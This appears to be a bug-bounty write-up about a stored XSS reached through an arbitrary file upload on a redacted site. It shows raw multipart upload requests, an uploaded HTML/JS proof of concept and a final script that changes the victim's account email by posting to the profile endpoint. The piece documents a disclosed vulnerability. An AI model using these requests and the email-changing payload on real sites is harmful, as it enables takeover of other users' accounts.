Account takeover via stored XSS with arbitrary file upload

Prehistory

Some time ago I found a suspicious behavior on the file upload to the site. Spoiler: I was not able to exploit it itself but it helped me to focus on this part and spice my findings a bit.

POST /loadphoto/save HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------35677109542062294861829015033
Content-Length: 131624
Connection: close

-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqparentuuid"

4d28538e-7fea-413f-bd70-ad18d53061fc
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqparentsize"

106725
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qquuid"

f7a84d5c-9351-456f-b828-480213b357ca
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqfilename"

photo.png
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqtotalfilesize"

130708
-----------------------------35677109542062294861829015033
Content-Disposition: form-data; name="qqfile"; filename="blob"
Content-Type: image/jpeg

<image file data>
-----------------------------35677109542062294861829015033

Finding the XSS and arbitrary file upload

Meanwhile, I’ve already spent a few days returning to this again and again and that start to drive me nuts so I finally (no idea why I’ve didn’t done that previously) decide to check what can I find about this uploader online and found the server-side example.

Hey! Look what I’ve found here
POST /loadphoto/save HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------314488351313912217284057641047
Content-Length: 1156
Connection: close

-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqparentuuid"

803a50ab-d6c6-4823-89ef-95f8abae61a9
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqtotalparts"

2
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqpartindex"

1
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqparentsize"

38775
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qquuid"

takeover_test1
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqfilename"

1 (lage).PNG
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqtotalfilesize"

39907
-----------------------------314488351313912217284057641047
Content-Disposition: form-data; name="qqfile"; filename="blob"
Content-Type: text/plain

<html><script>
alert("wow")
</script></html>

-----------------------------314488351313912217284057641047--
BOOM!

Account takeover

Here is how the profile update looks like:

POST /person HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 265
Connection: close

Form%5Bname%5D=Jhon&Form%5Bage%5D=100&Form%5Babout%5D=Awesome%20guy
POST /person HTTP/1.1
Host: [redacted].com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: close

Form%5Bemail%5D=smthstrange@here.ru
BOOM! [2]
<html><script>
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "/person", true);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("Form[email]=testmail@gmail.com");
alert("email changed")
</script></html>

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store